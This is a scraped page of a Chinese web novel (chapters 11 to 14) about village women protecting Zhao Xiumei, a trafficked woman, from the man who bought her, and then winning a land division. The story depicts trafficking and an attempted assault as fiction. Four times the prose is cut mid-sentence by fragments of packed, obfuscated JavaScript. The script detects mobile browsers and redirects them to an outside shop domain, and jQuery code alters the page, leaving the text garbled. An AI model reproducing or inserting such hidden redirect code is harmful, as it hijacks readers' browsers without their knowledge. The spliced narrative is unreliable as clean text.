l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16506766|186095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就要洗菜、切菜、做饭。等男人吃完饭,女人又要去村里的水井里挑水,挑的水不但用来洗碗,还要给男人们洗脚洗脸,剩下的水则拿来洗衣服。等所有事情做完,女人捏着酸痛的肩膀回屋时,男人早就在床上呼呼大睡。 如今这样舒服的日子没了,不说家里的地没人扫,衣服没人洗,光是吃上,就是一笔大开销。 从来没进过灶屋的男人哪会做饭,不是水少了就是火大了,辛辛苦苦煮半天,煮出一锅夹生饭。 但堂堂大男人哪会因为这点小事就退缩,他们一合计,决定一块去村里的小酒馆对付一口。 说是酒馆,其实就是村里人自己的屋子,前头做买卖,后头住人。 往常摆个一两桌倒还行,今天乌泱泱来这老些人,只能在屋前的空地再多摆几桌。 “呦,小李回来了。”孙村长一眼看到帘子后的小李。 “村长。”小李面色有些难看地打了声招呼。 孙村长看了眼他的行李箱:“前天不刚走,今天怎么又回来了?” “没什么,”小李把行李箱往身后藏了藏,“单位放年假,我回来陪陪我爹。” “听说你们放假也有钱拿?”孙村长问了句,见他点头,唏嘘了声,“不愧是大城市,不干活也有钱拿。” 小李笑了笑,就要走,又被叫住:“正好你回来了,我还怕你爹这几天忙不过来呢。来,先给咱们把碗筷上上来,再给每桌拿壶酒。” “酒就不用了。”旁边的男人假意客气。 “要的。今天这酒我老孙包了,大家吃好喝好。可不能有那想媳妇的软蛋玩意儿,背着人偷偷去见媳妇。咱们这次就要让她们知道,不是咱们男人离不了女人,是她们女人离不了男人!” “好!” “村长说得对!” “……” 噼里啪啦的酒碗撞在一块,小李掀开帘子,找到在灶台旁喜笑颜开的爹,一把夺过他的勺子,拉起人手就往外走。 “诶诶,我的菜,要糊了!要糊了!”老李心疼地大叫。 “别管菜了!”小李压着嗓子吼道,“赶紧走!” “走?去哪啊?”老李也意识到不对,“出啥事了,你和爹说,爹想想办法。” “你能有啥办法,趁她的人还没来,咱们赶紧走吧!” “谁啊?儿你得罪谁了啊?实在不行,我让村长帮你求求情。”老李还觉得在村里一手遮天的孙村长,在外别人也得给几分薄面。 “孙村长有个屁用!”小李一脸狰狞,“咱们得罪的……” “可是林佳宜!” 11. 秀梅(七) 11.座山雕 “林佳宜?那不你媳妇吗?” 老李听到这名字,挣开他的手,赶忙拿回勺子翻炒锅里的菜。 “小两口闹矛盾很正常,你冷她个几天,她自己就知道错了。”老李以过来人的口吻教导儿子,“从来吵架只有女人往娘家跑,哪有男人往家跑的,要是被村里人知道,他们又得在背后笑你了。” 老李还记恨着孙女没跟自己姓,见到儿子又忍不住念叨:“女娃也就算了,男娃一定得姓李,咱们李家的香火可不能断在你手里。” 还香火,他们李家爷俩的命说不定都得断在林佳宜手里! “爹,她叫林佳宜,她女儿叫林韫玉!” “我知道,你吼那么大声干啥。”老李掏了掏耳朵,又用长长的小拇指指甲盖,从盐缸里蒯了点盐,倒进锅里。 “你记得我和你说我在哪上班吗?” “佳韫集团啊。”老李颠了个锅,“等等,佳韫……林佳宜的佳,林韫玉的韫?” 小李重重点了点头,您老这下知道问题多严重了吧。 “哎呀,不愧是我儿子!”老李重重拍了拍儿子的肩膀,“连佳韫集团的大小姐都能拿下,你可得赶紧生个儿子出来,继承家业,到时我老李就是佳韫集团少爷的爷爷了。” “什么大小姐,佳韫集团是林佳宜的,她自己一手办的。” “自己办的?”老李把菜盛出,嘀嘀咕咕道,“还是个女老板,怪不得那么神气。” “爹,你把她女儿卖给王老大,我还帮你拦着她,咱俩是彻底把她得罪了。” “瞎说,我就让我孙女给他倒杯酒,他自己趁着我拿酒的功夫把我孙女抱走的。再说,又没出啥事,她还能报警抓我不成。” 报警?报警都算好的了! “王老大第二天就死在玉米地里,你真当他是被黑熊咬死的?那黑熊几十年都没出现过,偏偏那晚下了山,偏偏那晚钻进玉米地,偏偏就咬死了王老大?” 听儿子这么一说,老李也觉得毛毛的,但“谁知道呢,说不定他王老大命里就有这一劫。人活着,啥事没可能发生啊。” “而且镇里都派人看过了,就是黑熊吃人,不信你去地里看看,现在还能看着黑熊脚印呢。地里的玉米杆也倒了不少,除了黑熊,谁还有这么大力气。就她那细胳膊细腿的,柴刀都不一定拖得动,还杀人?杀条鱼都费劲。” 哪有女人敢杀男人的,老李自己把自己说服了,听到前堂催菜的声音,赶紧捧着几盘菜出去,还不忘叫儿子帮着上菜。 等他回来,冒热气的菜盘下压着几张纸币,人却没了影。 “老李——!” “来了!”老李赶忙将纸币塞进口袋,将剩下的菜端了出去。 “小李呢?怎么不一块帮你?” “单位临时有事,又回去了。”老李随口扯了句谎,看着一晃一晃的帘子,心也跟着晃了起来。 * “老李,你要不去学点新菜吧。这菜吃来吃去就这么几道,我都吃腻了。”连着吃了三天一样的菜,村里的男人忍不住抱怨。 见他不搭话,顺着他的视线向外看,只看到村里通向村口的泥土路。 “看啥呢?” “看我儿子。” “又想儿子了?你儿子不前两天刚走。要我说,你就该跟着他一块走,去城里享福,多好。”男人语气里带着几分羡慕。 可惜他儿子没本事,讨不到城里人做媳妇。 “好什么好,”老李收回视线,“被一个女人骑在头上,连娃娃的姓都做不了主。” 他扫了眼男人桌上的菜:“两块一,现付还是记账上。” 男人赶紧几筷子把剩下的一点肉沫都倒进胃里:“记账上。” 在外头吃饭可太贵了,他媳妇咋还不回来啊。 村东头的石头屋里,老小子也想着同一个问题。 为了省钱,他连酒都没喝了。可在外面吃,只吃素菜,一天下来也要一块多。 他舍不得这笔钱,和村长一群人吃了一顿后,第二顿就自己在家吃。 煮饭,不就是放点米,放点水,再烧点柴火,有什么难的。 女人都会的事情,没道理男人不会。 老小子自信满满,打开米缸看着小半缸米时,犯难了。 一个人,得放多少米? 老小子之前听村里的女人抱怨说家里男人吃的多,一个人就要吃掉一舀半的米。 他拿着米缸里的勺,舀了一勺半,舀出的米连半个碗都装不满。 这点米,谁能吃饱? 老小子索性丢了勺,直接拿碗舀了满满一大碗,看着冒尖的米粒,满意地点点头,倒进锅里。 第二步倒水,又把他难住了。 水要放多少? 不管了,多倒点,反正水多了就再烧会儿,把水烧干就行,还不用担心饭不熟。 老小子一个人坐在灶台后,被灶膛里的火烤得汗流满面。 好不容易等柴火都烧完了,一掀锅盖,看到满满一锅黝黑发亮的黑米饭…… 灶台的烟囱吐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16506767|186095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了三天黑烟,老小子就吃了三天黑米饭配水煮菜。 他一边扒着焦黑的米饭,一边吃着齁咸的水煮菜,越吃越饿,越吃越气。 看着西沉的日头,他做出一个决定—— 他要把一千三偷回来,就在今晚。 * “让让,刚出锅的蒜薹炒猪头肉,小心烫。”郭香仪将香喷喷的猪头肉放在拼凑的大桌上,女人们拿起筷子,却没争抢,只各自夹了一块肉一根蒜薹放进自己的碗里。 郑丽娟不但要给自己夹,还要给还没上桌的周韵夹。 “阿韵,别算了,赶紧来吃饭,猪头肉冷了可不好吃了。” “来了。”周韵把账本往怀里一塞,拿起筷子吃了口饭,兴奋地肘了肘郑丽娟,“你猜咱们这几天赚了多少?” “多少?” “除去伙食,还余五六块,等过几天把还没收的钱收回来,之前从大家手里借的十一块两毛六,马上就能还回去了。” “不错啊。香仪今天还接了个笔大单,帮十来户人家浆洗被子。” 浆洗被子是大活,一床被子能赚一块,十来户可就十来块。正常浆洗被子都在过年前,郭香仪能让人在八月底就浆洗被子,能耐可不一般。 “难怪一回来就张罗着要给大家加盘荤菜。”周韵欣慰地看着跑前跑后的郭香仪,很快换了话题,“听说秀梅编的那些小动物卖得也不错。” “城里人贪新奇,小的五毛,大的八毛,买的人不少,还有人在我这预定呢。” 周韵忽然压低声音:“她念书那事,你问乔壮的阿姊了没?还能念不?” 郑丽娟左右看了看:“问了,说学校那边不认,时间太久了,要读的话得再考。不过秀梅要是能考上,并且继续报同个学校,那边同意免一年学费。” 周韵皱了皱眉:“大学哪有那么好考,她连自己的名字都忘了,学过的知识还能记得多少。” “这也没办法,要是秀梅念的书都忘了,就算学校让她念,她也跟不上其他人啊。” “这倒是。” 两人自以为说得够小声,坐在对面的乔壮却将两人的话听得一清二楚。 等到大家都歇下,她蹑手蹑脚走到那床藏蓝的素色被子旁,小心地戳了戳背对着自己的女人。 赵秀梅对肢体的接触还不太适应,僵硬了半晌,才慢慢转过身。 月光下,秀梅眼里,蹲着的乔壮像一头壮实又庞大的座山雕。 座山雕缓缓低下头,口吐人言。 “秀梅,你要书不要?” 12. 秀梅(八) 12.书签 赵秀梅两次走进乔家,一次是走投无路,一次是欣然往之。 伴随木门开启,她见到了这个村子里最神秘也最厉害的女孩的房间。 很简单的一间房。正中间摆着一张小床,左侧窗户的下方摆着一张书桌,右侧则是一整面墙的书架。书架上没有书,只摆满了四四方方的木箱。 村里全都是大瓦数的白炽灯泡,一打开是刺眼的白。乔壮拉好窗帘,点亮手电,暖黄的光晕从最底层的书架一点点爬到最顶层。 一个个稚嫩扭曲的字被照亮又很快归于黑暗。 赵秀梅凝神看去。 《课外书》、《奖状》、《试卷》、《小学》、《初中》…… 乔壮树干粗的胳膊抱住最上边的三个大木箱,手电光从箱身一晃而过,赵秀梅看到了歪歪扭扭的“高中”二字。 “阿姊大学的书没寄回来,你可以看她高中的书。”乔壮打开一个木箱,里面是叠得整整齐齐的几排书。 她拿起最上边的一本书,递给赵秀梅:“这是阿姊最喜欢的一门课,她经常考满分。” 赵秀梅小心接过,低头一看,数学。 她愣了愣,翻开。 第一面,用遒劲的笔迹写着三个字——乔燎星。 “这是我阿姊的名字。”乔壮提到阿姊,总会有说不完的话,“阿娘说希望她像燎原的星火,为自己,为我们,烧出一条,通往旷野的路。” 赵秀梅的心颤了颤,她顺着凹痕轻轻描摹这三个字,恍惚间又看到那双年轻锐利的眼睛。 “你可以坐这看。”乔壮打断她的思绪。 赵秀梅抬眼,书桌上的台灯被摁亮,涂了木蜡油的桌面,被暖融融的光流满,反射出点点润光。 桌前的椅子被拉出,恰好是方便落座的一段距离。 “我们家不能用蜡烛,手电给你。”乔壮将怀里的手电放到她手边,转身关门离开。 赵秀梅摸着略微粗糙的纸页,看着身后黑暗中的书架,一时间以为自己在做梦。 “咚咚咚。”窗户被敲响,她掀开一条缝,乔壮在外头,无声地朝她张了张嘴。 早点睡。 嗯。她重重点了点头。 …… 眼睛干得如同被挤尽水的海绵,又酸又涩。 赵秀梅揉了揉眼,起身,才发现自己膀胱中晃晃荡荡全是水。 尿急! 她一手抓手电,一手抓书,吸着气,踮着脚,朝茅房走去。 乔家的茅房在外边,另辟一间小木屋,与主屋一同被栅栏围住。 赵秀梅刚系紧裤腰带,就听到下边幽幽传来一道狰狞的男声:“一千三——” “!”赵秀梅吓得僵在原地,紧紧地把书和手电抱在怀里。 啪嗒,一只手握住了她的脚踝。 “呃啊啊——” 赵秀梅彻底慌了神,她叫不出声,无法排解的恐惧在肾上腺素的挤压下化作无边的勇气。她抬脚,对着那只手一顿猛踩。 “啊!啊!我的手!一千三,你找死嘛!”男人痛得面部扭曲,却不敢惊醒其他人,只能压着嗓子怒吼。 “呃?”听到熟悉的声音,赵秀梅喘了两口气,犹豫一瞬,将手电的光对准房顶,闷头又是一顿猛踩。 男人另一只手总算从洞里探了过来,他猛地攥住赵秀梅立地的那只腿,死命一捏。 干农活的庄稼汉别的没有,力气一大把。 赵秀梅登时疼得弯下腰,和下边的男人四目相对。 “一千三,几天不见,你胆子变大了,还敢踩我。”男人从地上爬了起来,阴恻恻地开口。 手电在之前的挣扎下掉落,在两人脚下滚了几圈,暖黄的光晕打在木屋的墙壁上。 “哧——” 老小子从兜里掏出蜡烛点亮,光照在他身上,身后的墙壁上出现一道巨大的黑影。 黑影没眼睛没鼻子,张不了口说不了话,可赵秀梅在见到它的瞬间,整个人都失去了力气。 她控制不住地发抖,冷汗从额头流进眼里,又从眼尾流进嘴里。 咸、涩、苦,以及浓浓的铁锈味。 “呃呃呃!”她抱缩成一个球,蹲坐在原地,冲着一墙高的黑影不停道歉,不断忏悔,妄想得到黑影的宽恕。 “啪嗒——”皮带扣扣开的声音,黑影黑洞洞的脸上,露出满意又狰狞的笑。 * “啪嗒——” 睡梦中的乔壮猛地睁眼,野兽的直觉让她意识到不对。 她起身,像巡视族群的母狮,目光从每个熟睡的女人脸上划过,又从透出微光的窗户划过,最后落在影影绰绰的茅房门上。 没有丝毫停留,她大步走近,一把推开茅房门,握住半空落下的皮带,猛力一抽,皮带似拔了筋的蛇,软趴趴地落在她手里。 她反手一挥,没筋蛇化作出鞘剑,狠狠地抽在男人的脸上。 “啪——”又脆又亮的一声响,擦亮了整个夜色。 老小子的半张脸登时红肿出一道痕,又细又长,火辣辣地疼,就连吃饭的大牙都被抽得摇摇欲坠。他咽下一口铁锈味的唾沫,颤巍巍地捂着脸,抬头正要骂人,就见一个又一个女人,举着手电,自空地走来。 狭窄的茅房门口瞬间站满了女人,可依旧有女人不断前来。她们不推不挤,沉默地站在人群的后头,举着手电,露出白光下愤怒的半张脸。 咕咚。老小子害怕地咽了口口水。 “哗啦——”一泼水淋湿了他的脑袋,浇灭了他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16506768|186095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蜡烛。 赵秀梅哆哆嗦嗦地将水瓢丢回水缸,墙上的黑影消失不见,她只紧紧盯着冒白烟的蜡烛。 乔家不能用蜡烛。她想。 “老小子,你大半夜来我们这,要干什么!”周韵站在门外,厉声质问。 白惨惨的光猛地打在老小子的脸上。 “我……”男人刚开口,数十道白光一同打在他的脸上。 “说,你想干什么!”数十张嘴同时张开,吐出同一句质问。 “我……”男人目眩神迷,喃喃低语,“我只想把一千三带回去……” “一千三……” “对,她是我花钱买的一千三,是我的东西。你们不让我带走我的东西,是小偷!是强盗!是犯法的!” “一千三,我的一千三!”男人闭着眼,疯狂抓挠着四周的空气,“一千三!把我的一千三还给我!” “还给我!!!” “啪——!” 在水缸里一晃一晃围观的水瓢盖在男人头顶,碎成了五瓣。 乔壮向前一步,将赵秀梅的身影彻底遮挡,对只到她腰部的男人冷脸道:“滚。” 对上她黑沉沉的眼,男人终于醒过神来,顶着一脑袋的血,话都不敢多说一句,连滚带爬地跑了。 赵秀梅连忙捡起手电,将手里的书翻开,对准。祈求的目光落在周韵脸上。 周韵从人群里走出,凑近,眯着眼一字一句地念了出来: “拐卖妇女、儿童的,处五年以上十年以下有期徒刑,并处一万元以下罚金; 有下列情形之一的,处十年以上有期徒刑或者无期徒刑,并处一万元以下罚金或者没收财产; 情节特别严重的,处死刑,并处没收财产……” “呃呃!”赵秀梅神情激动。她们没有错,有错的是他们。 他们偷走她的自由,盗取她的未来,毁掉她的人生。 他们才是小偷!是强盗!是刽子手! 赵秀梅浑身都在抽搐,手指仍牢牢黏在纸上。她的双眼已被泪水模糊,却能清晰地看见指尖下方压着的两个字——死刑。 “苦命的娃娃啊。哭吧,哭出来就舒服了。”周韵拿帕子擦去她的泪,心疼地将她拢进怀里,轻拍她的后背安慰,“早晚有一天,他们都会遭到报应的。” 遭报应吗? 赵秀梅趴在温暖的怀抱里想,只是遭报应吗? * 哭过的女人抱着那本厚厚的法律大全,回到乔燎星的房间。 桌上的台灯仍在发光,她慢慢掀开书本,拿出夹在里面的一张书签。 书签的左上角的日期被棕褐色的印记遮盖。 19XX 8.23 “棺材里好冷,我要点一把火。” 13. 秀梅(九) 13.徒弟 “乔壮啊,补得咋样了?”郑丽娟端着棒子面粥,扯着嗓子问。 一大早,乔家的木屋就叮叮当当开始敲。 昨晚出了那事,乔壮连夜把围屋的栅栏和茅房都检查了一遍。 栅栏在靠山的位置有个不大不小的洞,不过这个洞十几年前就在了。 那个时候乔阿姊还没去外头上大学,村里的野猫野狗时不时会从洞里钻进来,向乔家姊妹讨吃食。因着洞口不大,两人也没想着去封。 起初两人还疑惑这些动物是怎么进来的,后来才发现这个被不明生物撞开的小洞。 在发现洞口的第二天,乔壮还专门带了砂纸去磨。洞口长着横七竖八的木刺,像细密的牙,手摸上去能掉一层皮。 来讨食的动物大多年幼,几个月大的猫猫狗狗是主要来客。皮嫩毛细,经常被木刺刮伤,一身伤地出现在两人面前。 后来阿姊上了大学,喂食的人就从两个变成一个。 只是今晚,因为男人蛮力的挤入,这个圆润无暇的洞口周围,再次布满蛛网般的裂纹,摇摇欲坠。 男人似乎十分擅长随手毁掉女人们辛苦搭建的美好事物再扬长而去,比如家庭、比如人生。 对于做了坏事毫无愧疚甚至洋洋自得这件事上,乔壮有时觉得女人应该向他们学习。 她时常怀疑女人们生活不幸福的一大原因,来自于对自己的高要求,和对道德的高遵守。 当然,作为连环破坏者,男人绝不会只破坏一个地方。 很快,乔壮在茅房的角落找到第二个洞。 这个洞自然不是两姊妹特意留的,毕竟谁在茅房吃饭?野猫也是有猫权的。 茅房的洞是块被流水腐蚀的木板,棕褐色的木板已转为深黑,手指一敲就能落下一块。 乔壮在发现后立马动手将腐烂的木板尽数掰开,拿木蜡油重刷木板,又从小仓库里拿出大片的纸箱,充当临时遮挡。 周韵则立马召集大家,组建夜间的巡逻组。村里的男人虽自私又自大,却也没明面上直接对女人下手。她们怎么也没想到,居然有那又蠢又坏的,敢在她们眼皮子底下抢人! 巡逻组很快敲定,三人一组,从晚上十点一直到第二天四点。原本定的六点,但村里的女们大多上了岁数,觉少,三四点就能醒。既然醒了,自然不需要巡逻的人多熬那两个钟头。 …… “好了,郑婆。”乔壮砸下最后一颗钉子,将锤子、斧头通通放进工具箱,一手箱,一手柴地到郑丽娟面前。 “累坏了吧,赶紧喝点粥,温度正合适。”郑丽娟看了看乔壮满满当当的两只手,脚一点,碗一端,“来,郑婆喂你。” “……”乔壮脸颊有点发烫,她怀疑是之前劈柴时热着了,完全没注意这点柴对她来说连热身都不够,“郑婆,我自己喝。”她放下手里的东西,伸手接过。 “行,你喝着,我帮你把东西拿进去。”郑丽娟俯身去拿工具箱,看了眼旁边半人高的一捆柴,合计着等会找人一块拿。 乔壮赶紧阻止:“郑婆,东西我放就行,你去吃饭。” “没事。”郑丽娟豪气地一摆手,伸手去提工具箱,没拎动。 她又惊又疑地看了眼工具箱,乖乖,里面怕不是放了个锻铁厂。 “哎呀,”她敲了敲肩膀,给自己造了个台阶,“这人老了不吃饭确实是没力气。那郑婆先去吃饭了,乔壮你有事叫我哈。” “好。”埋在老式粗陶碗后的大脑袋上下点了点。 最后乔壮也没叫人帮忙,她把木柴提到灶屋,将木柴齐齐整整地摆在灶膛对面的墙角。旁边就是烧火时坐人的座位,膛里的柴火烧完了,伸手一拿就行,十分方便。 “呃。” 乔壮低头摆着柴火,眼角里自己的军绿色的劳保靴上突然长出一只伤痕累累的手,手里还拿着一截木柴。 “谢谢。”乔壮转身,从女人手里接过。 “呃!”女人突然提高声音。 乔壮停住动作,就见女人伸出大拇指,向前连续翻折两下。这是手语中“谢谢”的意思,但乔壮不知道。 乔壮盯着她的手指思考了两秒,从兜里掏出火柴盒:“没有打火机,给你火柴。” 不不不。女人连连摆手,伸出两只手,对着她一块翻折。 两个打火机。 女人不停翻折着大拇指,好像很着急用打火机的样子。 乔壮将没放好的柴火拢到一边:“不急,我帮你去郑婆的小卖部拿。” 见她真要跑出门,女人也急了。一把抓住她的衣角,张着嘴费劲地挤出点气音:“兮……欸、兮欸……” 哦,原来是来道谢的。 乔壮收回腿,板板正正地回道:“不客气。”阿姊说过,别人道谢要回不客气。 两人沉默地放完柴火,临出门,赵秀梅突然“开手”。她指了指乔壮腰间的杀猪刀,又指了指自己,最后做了个剁菜的动作。 在发现乔壮不懂手语后,赵秀梅换了种方式,采用普通人更容易理解的肢体动作。 乔壮果然一看就懂:“你要和我学杀猪?可是周姨说你是草编队的。” “呃。”剩下的话赵秀梅也手述不来,直接拉着人到周韵面前。 “这事秀梅和我说过,等她把手上的预订单做完,下午就能去你那学。我这倒没事,就看你愿不愿意教了。”周韵提着篮子,正打算和其他女人一块去山脚采点野菜野果。 “不过先说好,拜师礼是没有的。得等秀梅学成,再给你这师傅学费了。”周韵打趣道。 “二十出头就能当人师傅,不愧是乔家的娃娃,姊姊妹妹都有出息。”旁边提着篮子的女人一块笑着揶揄。 被人拿来和阿姊一块夸,乔壮微微挺了挺胸膛:“不用拜师礼。” 她低头看向赵秀梅:“杀猪是体力活,你要多吃点。” 可能是之前的逃跑给老小子留下阴影,哪怕赵秀梅已经在重庚村待了十几年,他依然没让她吃过一顿饱饭,就怕她吃饱后有力气逃跑。 赵秀梅经常顶着半饥的肚子在地里干活,虽然每天干得活不少,身上却没几块肉。刚来的时候,喝粥也只喝半碗,还是周韵盯着,才诚惶诚恐地喝完一整碗。 终于再一次尝到吃饱饭的感觉,赵秀梅先是激动,紧接着是患得患失。她知道自己早晚有一天,又会回到那个漏风漏雨的石头屋,重新过上三天饿九顿的生活。 她开始吃得越来越多,最初一餐只喝一碗粥,然后多加了一个窝窝头,两个窝窝头,三个窝窝头…… 直到逼自己硬塞四个窝窝头的时候,身体比精神先一步溃败。 她一个人躲在角落,边吃边吐,边吐边吃。配着涌上的酸水吃,配着落下的眼泪吃。她得吃,吃得多一点,再多一点,吃得饱饱的,以后就不会饿了。 郑丽娟第一个注意到她的异常,连忙拿走她手里的窝窝头,去家里拿了药给人灌下去。 经这一遭,好不容易有点血色的女人又变回从前那副干巴巴的模样。 乔壮也想起前几天的事,连忙改口:“搬猪是体力活,杀猪不是,猪我搬,你不要吃太多。” 好。赵秀梅点点头,对着乔壮比了比手指。 “不客气。”乔壮依旧板板正正地回。 …… 既然要收徒了,就得有个师傅样。 乔壮看着面色无波无澜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16506769|186095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,心里却有些紧张。她没当过师傅,也没人教她当师傅,不知道师傅是咋个当法。她看着自己宝贝的杀猪刀,有了主意。 不管怎么样,先给徒弟准备一身行头总是错不了的。 她走进自己的猪肉铺,翻出备用的围裙,哗地打开,又重新叠好放了回去。 太大了,给徒弟当被子都够了。 乔师傅在心底估了个大概,快步走进郑婆的小卖部。 她原只想买条大小合适的围裙,看到劳保靴,想着防滑防砸,拿了两双。 往里走,看到叠着的几套防割服套装,想着徒弟第一次动手,说不定会伤到自己,又拿了两套。 衣服裤子齐了,手套也得备上,抓握更有力还卫生安全,嗯,也拿两双。 就这样,只想买条围裙的乔师傅,领着一袋子东西回了家。 从头到脚的行头倒是齐全了,但是最重要的杀猪刀还没有。 杀猪匠杀猪匠,最重要的就是有一把属于自己的杀猪刀。乔壮的杀猪刀从幼时学杀猪时便一直在,直到长大后能自己举动,更是寸步不离地贴身带着。 她有的,她徒弟自然也得有。 不过郑婆小卖部里的刀都不够好,要想有一把专属好刀,还得等市集开了,找铁匠专门打制。 好在大市集下月初就开,趁这段时间,先让徒弟拿其他刀使着,顺便找找用刀习惯,方便之后画图打刀。 第一次当师傅的乔壮,无师自通地学会了怎样当一个师傅。 她盘算着,刚把袋子放下,就听到外头传来孩子的哭叫和女人的大喊。 “吴婶子,吴婶子,你家丫丫被捕兽夹夹到了!也不知哪个挨千刀的,居然在山脚放这咬人的铁玩意儿!” “什么!我家丫丫呢!”吴晓霞握着锅铲冲了出来。 “周婶子送去卫生所了,我路上遇着,血流了半条裤子,你赶紧去看看吧!”女人边哄着背上的娃娃,边接过她手里的锅铲,“快去,丫丫一直哭着喊奶奶呢。” “哎呀!”吴晓霞急得要哭了,边走远边不忘嘱咐,“盐我已经放了,莫再放,烧完再焖会儿,豆角更软和。我先走了,锅就交给你了。” “你就放心交给我吧。路上看着点,千万别绊着了。”女人看着她苍老佝偻的背影,不放心地多喊了一句。 家里出了这么大的事,女人们都没心情做事,各个抻着脖子往门前的路上看。 等啊等,等到日头正当头,也没等到几人回来。 郑丽娟揉了揉酸涩的眼,见大家都神色恹恹,拍了拍手——先吃饭。 “该回来的时候自然就回来了,咱们现在把眼珠子看掉了也没用。先吃饭,吃完饭干活,万一带去的钱不够,咱们也好补上。” 这话说得在理,女人们混着担忧,囫囵咽下了午饭。 郑丽娟没和大家一起吃,卫生所的几人还没吃呢,她得把饭带过去。 …… 直到日头偏西,门前的路上才有了人影。 女人们松了口气,放下手里的活迎了出去,凑近一看,错了。 来的哪是周韵、郑丽娟一行人,来的是村里的男人们。 孙村长自认为自己是带着好消息来的,远远看见女人们都站出来迎接,还觉得她们有点脑子,结果凑近,发现各个都翻着眼憋着嘴,一脸晦气地看着他。 他正想发火教训两句,就看到乔壮从人群里出来,冷着张脸问:“你来干嘛。” 没礼貌的杀猪的。 孙村长在心里咒骂了一句,面上却笑吟吟:“我是来宣布好消息的。” “你们不是要分地嘛,明天早上,咱们就在村口,全村人都来,咱把这地好好分一分。” 14.秀梅(十) 14.逮捕 早上八点不到,村里四十多口人齐聚于乔壮门前的空地。 既然男人们定了分地的时间,分地的地点自然该女人们说了算。 十张大红方桌拼凑成一张长桌,女人一边,男人一边。 说得上话的坐着,人微言轻地站着,各列两边,隔着一方红桌泾渭分明。 周韵还没从卫生所赶来,郑丽娟成了女人这边的主心骨。 “郑婆,”趁着人没齐,有人凑到她耳边轻声问,“不会有什么问题吧?”这些男人把地看得跟命根子一样重,怎么突然开了窍,说分就分。 “没事,过段时间巡查组会来,我还就怕他们今天不耍花招呢。”巡查组会来的消息是丁玲丽透露的。 昨晚刚一得知男人们同意分地,周韵就派郑丽娟打了电话过去,原本只想通个气,没想到意外知晓巡查组要来的消息。 电话里,丁玲丽再三保证巡查组一定能保障妇女的分地权。为了让她们信服,还举了不少巡查组处理的事件,比如已婚女性无论是否迁移户口,都被视为“外人”没有分到地的;离婚后户口未迁出,直接被前夫家或村集体已“非家庭成员”为由剥夺土地的;丧偶后被儿子或其他男性亲属以“家庭共有”名义占有的,有些村庄甚至用“户内无男性”的理由强制收回土地…… 一桩桩一件件,在巡查组的走访调查中,都对其进行对应的整改处理,将“按户分地、还地于女”落实到实处。 “等到巡查组一到,不管他们耍什么花招,都会不攻自破,明天的分地,您就放心去吧。” 若是之前,郑丽娟听这话是不信的,但那个城里姑娘真能让“黑熊吃人”这一天方夜谭变成事实,想来在城里的女人确实都有些神通。 郑丽娟决定信这一回。 …… “时间差不多了,开始吧。”对面首座的孙村长看了眼日头开口。 “可以。不过开始前我问一嘴,怎么突然就同意分地了?” “大伙儿都知道,咱们庄稼人是跟着庄稼长的。这眼看着收成的日子要过去了,地里还有一大半庄稼没收,你们再不回来帮忙,这辛辛苦苦种了一年的庄稼可全都白瞎了!” 提到地里的庄稼,后边还在小声窃语的女人们也安静了下来。 这一年里,翻土、播种、浇水、施肥……她们花费大量的时间和精力在土地上,眼看到了收获的时候,却因为人手不够只能任由这些庄稼烂在地里,她们的心也在滴血,但她们明白,一旦这次低了头,这片土地将再也不会属于任何女人。 她们要为自己的女儿,自己的孙女,自己的曾孙女,在这片土地上挣得立足之地! “既然要分地,就老老实实地分。”郑丽娟在“老老实实”上加了重音。 “那当然,咱们就遵守土地政.策,按户口分。”孙村长拍了拍手,一个男人从后边拿来两大沓纸。 “左边的,是咱村家家户户的户口记录;右边的,是土地承包合同。今儿咱们就照着这人名,一个一个分。”孙村长从口袋里掏出印章拍在桌上。 “公章我可都带了,一个人一张土地合同,当场签字按手印当场盖章,够诚意吧。” 对方按章做事,准备齐全,一时还真寻不出错处。等周韵赶来,过了遍合同,表明没问题,一群人便排着队一个个按手印领合同。 两小时不到,每个人都拿到了自己的土地承包合同。 “这地也分了,你们看是不是该回来了。”孙村长将公章随手揣在兜里,敲了敲桌。 “当然可以,不过还有些东西得收拾一下,晚上就回去。”领到土地合同的女人各个喜笑颜开,连带着对男人说话的语气都好了不少。 “那行,说定了,晚上回来。”孙村长丢下最后一句话,正准备带着男人离开,村门口突然停下一辆车,车里下来一群穿工作服的人。 为首的人一脸严肃:“大热天不在家待着,一群人聚在这干什么?” 